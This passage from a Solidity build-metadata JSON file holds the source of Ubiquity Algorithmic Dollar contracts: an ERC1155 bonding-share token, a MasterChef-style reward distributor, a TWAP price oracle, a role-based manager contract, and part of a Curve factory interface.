\\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./utils/SafeAddArray.sol\\\";\\n\\ncontract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable {\\n using SafeAddArray for uint256[];\\n struct Bond {\\n // address of the minter\\n address minter;\\n // lp amount deposited by the user\\n uint256 lpFirstDeposited;\\n uint256 creationBlock;\\n // lp that were already there when created\\n uint256 lpRewardDebt;\\n uint256 endBlock;\\n // lp remaining for a user\\n uint256 lpAmount;\\n }\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n // Mapping from account to operator approvals\\n mapping(address => uint256[]) private _holderBalances;\\n mapping(uint256 => Bond) private _bonds;\\n uint256 private _totalLP;\\n uint256 private _totalSupply;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n /**\\n * @dev constructor\\n */\\n constructor(address _manager, string memory uri) ERC1155(uri) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @dev update bond LP amount , LP rewards debt and end block.\\n /// @param _bondId bonding share id\\n /// @param _lpAmount amount of LP token deposited\\n /// @param _lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param _endBlock end locking period block number\\n function updateBond(\\n uint256 _bondId,\\n uint256 _lpAmount,\\n uint256 _lpRewardDebt,\\n uint256 _endBlock\\n ) external onlyMinter whenNotPaused {\\n Bond storage bond = _bonds[_bondId];\\n uint256 curLpAmount = bond.lpAmount;\\n if (curLpAmount > _lpAmount) {\\n // we are removing LP\\n _totalLP -= curLpAmount - _lpAmount;\\n } else {\\n // we are adding LP\\n _totalLP += _lpAmount - curLpAmount;\\n }\\n bond.lpAmount = _lpAmount;\\n bond.lpRewardDebt = _lpRewardDebt;\\n bond.endBlock = _endBlock;\\n }\\n\\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\\n /// @param to owner address\\n /// @param lpDeposited amount of LP token deposited\\n /// @param lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param endBlock block number when the locking period ends\\n function mint(\\n address to,\\n uint256 lpDeposited,\\n uint256 lpRewardDebt,\\n uint256 endBlock\\n ) public virtual onlyMinter whenNotPaused returns (uint256 id) {\\n id = _totalSupply + 1;\\n _mint(to, id, 1, bytes(\\\"\\\"));\\n _totalSupply += 1;\\n _holderBalances[to].add(id);\\n Bond storage _bond = _bonds[id];\\n _bond.minter = to;\\n _bond.lpFirstDeposited = lpDeposited;\\n _bond.lpAmount = lpDeposited;\\n _bond.lpRewardDebt = lpRewardDebt;\\n _bond.creationBlock = block.number;\\n _bond.endBlock = endBlock;\\n _totalLP += lpDeposited;\\n }\\n\\n /**\\n * @dev Pauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_pause}.\\n *\\n */\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n /**\\n * @dev Unpauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_unpause}.\\n *\\n */\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public override whenNotPaused {\\n super.safeTransferFrom(from, to, id, amount, data);\\n _holderBalances[to].add(id);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override whenNotPaused {\\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Total amount of tokens .\\n */\\n function totalSupply() public view virtual returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev Total amount of LP tokens deposited.\\n */\\n function totalLP() public view virtual returns (uint256) {\\n return _totalLP;\\n }\\n\\n /**\\n * @dev return bond details.\\n */\\n function getBond(uint256 id) public view returns (Bond memory) {\\n return _bonds[id];\\n }\\n\\n /**\\n * @dev array of token Id held by the msg.sender.\\n */\\n function holderTokens(address holder)\\n public\\n view\\n returns (uint256[] memory)\\n {\\n return _holderBalances[holder];\\n }\\n\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n require(amount == 1, \\\"amount <> 1\\\");\\n super._burn(account, id, 1);\\n Bond storage _bond = _bonds[id];\\n require(_bond.lpAmount == 0, \\\"LP <> 0\\\");\\n _totalSupply -= 1;\\n }\\n\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual override whenNotPaused {\\n super._burnBatch(account, ids, amounts);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply -= amounts[i];\\n }\\n }\\n\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override(ERC1155, ERC1155Pausable) {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n }\\n}\\n\",\"keccak256\":\"0xff896ee924e35d96997f9b3af56da1adeca058fa23286f16d4ce92c3d8a3faa1\",\"license\":\"MIT\"},\"contracts/MasterChefV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity 0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/security/ReentrancyGuard.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\n\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\n\\ncontract MasterChefV2 is ReentrancyGuard {\\n using SafeERC20 for IERC20Ubiquity;\\n using SafeERC20 for IERC20;\\n\\n // Info of each user.\\n struct BondingShareInfo {\\n uint256 amount; // bonding rights.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n //\\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\\n // entitled to a user but is pending to be distributed is:\\n //\\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\\n //\\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\\n // 2. User receives the pending reward sent to his/her address.\\n // 3. User's `amount` gets updated.\\n // 4. User's `rewardDebt` gets updated.\\n }\\n // Info of each pool.\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\\n }\\n\\n uint256 private _totalShares;\\n\\n // Ubiquity Manager\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // uGOV tokens created per block.\\n uint256 public uGOVPerBlock;\\n // Bonus muliplier for early uGOV makers.\\n uint256 public uGOVmultiplier = 1e18;\\n uint256 public minPriceDiffToUpdateMultiplier = 1e15;\\n uint256 public lastPrice = 1e18;\\n uint256 public uGOVDivider;\\n // Info of each pool.\\n PoolInfo public pool;\\n // Info of each user that stakes LP tokens.\\n mapping(uint256 => BondingShareInfo) private _bsInfo;\\n\\n event Deposit(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n event Withdraw(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n event UGOVPerBlockModified(uint256 indexed uGOVPerBlock);\\n\\n event MinPriceDiffToUpdateMultiplierModified(\\n uint256 indexed minPriceDiffToUpdateMultiplier\\n );\\n\\n // ----------- Modifiers -----------\\n modifier onlyTokenManager() {\\n require(\\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\\n \\\"MasterChef: not UBQ manager\\\"\\n );\\n _;\\n }\\n modifier onlyBondingContract() {\\n require(\\n msg.sender == manager.bondingContractAddress(),\\n \\\"MasterChef: not Bonding Contract\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n address[] memory _tos,\\n uint256[] memory _amounts,\\n uint256[] memory _bondingShareIDs\\n ) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n pool.lastRewardBlock = block.number;\\n pool.accuGOVPerShare = 0; // uint256(1e12);\\n uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury\\n _updateUGOVMultiplier();\\n\\n uint256 lgt = _tos.length;\\n require(lgt == _amounts.length, \\\"_amounts array not same length\\\");\\n require(\\n lgt == _bondingShareIDs.length,\\n \\\"_bondingShareIDs array not same length\\\"\\n );\\n\\n for (uint256 i = 0; i < lgt; ++i) {\\n _deposit(_tos[i], _amounts[i], _bondingShareIDs[i]);\\n }\\n }\\n\\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\\n uGOVPerBlock = _uGOVPerBlock;\\n emit UGOVPerBlockModified(_uGOVPerBlock);\\n }\\n\\n // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury\\n function setUGOVShareForTreasury(uint256 _uGOVDivider)\\n external\\n onlyTokenManager\\n {\\n uGOVDivider = _uGOVDivider;\\n }\\n\\n function setMinPriceDiffToUpdateMultiplier(\\n uint256 _minPriceDiffToUpdateMultiplier\\n ) external onlyTokenManager {\\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\\n emit MinPriceDiffToUpdateMultiplierModified(\\n _minPriceDiffToUpdateMultiplier\\n );\\n }\\n\\n // Deposit LP tokens to MasterChef for uGOV allocation.\\n function deposit(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external nonReentrant onlyBondingContract {\\n _deposit(to, _amount, _bondingShareID);\\n }\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external nonReentrant onlyBondingContract {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n require(bs.amount >= _amount, \\\"MC: amount too high\\\");\\n _updatePool();\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n // send UGOV to Bonding Share holder\\n\\n _safeUGOVTransfer(to, pending);\\n bs.amount -= _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares -= _amount;\\n emit Withdraw(to, _amount, _bondingShareID);\\n }\\n\\n /// @dev get pending uGOV rewards from MasterChef.\\n /// @return amount of pending rewards transfered to msg.sender\\n /// @notice only send pending rewards\\n function getRewards(uint256 bondingShareID) external returns (uint256) {\\n require(\\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\\n msg.sender,\\n bondingShareID\\n ) == 1,\\n \\\"MS: caller is not owner\\\"\\n );\\n\\n // calculate user reward\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n _updatePool();\\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\\n user.rewardDebt;\\n _safeUGOVTransfer(msg.sender, pending);\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n return pending;\\n }\\n\\n // View function to see pending uGOVs on frontend.\\n function pendingUGOV(uint256 bondingShareID)\\n external\\n view\\n returns (uint256)\\n {\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\\n\\n if (block.number > pool.lastRewardBlock && _totalShares != 0) {\\n uint256 multiplier = _getMultiplier();\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n accuGOVPerShare =\\n accuGOVPerShare +\\n ((uGOVReward * 1e12) / _totalShares);\\n }\\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\\n }\\n\\n /**\\n * @dev get the amount of shares and the reward debt of a bonding share .\\n */\\n function getBondingShareInfo(uint256 _id)\\n external\\n view\\n returns (uint256[2] memory)\\n {\\n return [_bsInfo[_id].amount, _bsInfo[_id].rewardDebt];\\n }\\n\\n /**\\n * @dev Total amount of shares .\\n */\\n function totalShares() external view virtual returns (uint256) {\\n return _totalShares;\\n }\\n\\n // _Deposit LP tokens to MasterChef for uGOV allocation.\\n function _deposit(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) internal {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n _updatePool();\\n if (bs.amount > 0) {\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n _safeUGOVTransfer(to, pending);\\n }\\n bs.amount += _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares += _amount;\\n emit Deposit(to, _amount, _bondingShareID);\\n }\\n\\n // UPDATE uGOV multiplier\\n function _updateUGOVMultiplier() internal {\\n // (1.05/(1+abs(1-TWAP_PRICE)))\\n uint256 currentPrice = _getTwapPrice();\\n\\n bool isPriceDiffEnough = false;\\n // a minimum price variation is needed to update the multiplier\\n if (currentPrice > lastPrice) {\\n isPriceDiffEnough =\\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\\n } else {\\n isPriceDiffEnough =\\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\\n }\\n\\n if (isPriceDiffEnough) {\\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\\n .ugovMultiply(uGOVmultiplier, currentPrice);\\n lastPrice = currentPrice;\\n }\\n }\\n\\n // Update reward variables of the given pool to be up-to-date.\\n function _updatePool() internal {\\n if (block.number <= pool.lastRewardBlock) {\\n return;\\n }\\n _updateUGOVMultiplier();\\n\\n if (_totalShares == 0) {\\n pool.lastRewardBlock = block.number;\\n return;\\n }\\n uint256 multiplier = _getMultiplier();\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n address(this),\\n uGOVReward\\n );\\n // mint another x% for the treasury\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n manager.treasuryAddress(),\\n uGOVReward / uGOVDivider\\n );\\n pool.accuGOVPerShare =\\n pool.accuGOVPerShare +\\n ((uGOVReward * 1e12) / _totalShares);\\n pool.lastRewardBlock = block.number;\\n }\\n\\n // Safe uGOV transfer function, just in case if rounding\\n // error causes pool to not have enough uGOVs.\\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\\n uint256 uGOVBal = uGOV.balanceOf(address(this));\\n if (_amount > uGOVBal) {\\n uGOV.safeTransfer(_to, uGOVBal);\\n } else {\\n uGOV.safeTransfer(_to, _amount);\\n }\\n }\\n\\n function _getMultiplier() internal view returns (uint256) {\\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\\n }\\n\\n function _getTwapPrice() internal view returns (uint256) {\\n return\\n ITWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0x1b56f1d14947a264cb370af33e3a11a71503ce09cdc16e5955959849bed5613d\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (\\n uint256[2] memory priceCumulative,\\n uint256 blockTimestamp\\n ) = _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances = IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x0341b8dcf0f7855cc155fa518c027826fb066239a84e5c0d35381c7d4106e774\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool = ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf(\\n address(this)\\n );\\n uint256 uADTokenAmount = IERC20(dollarTokenAddress).balanceOf(\\n address(this)\\n );\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts = [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0x16c9815f13f4c91de78beaecf3b0950ad2a481afd5da13d256e6575ac4dd57bc\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address 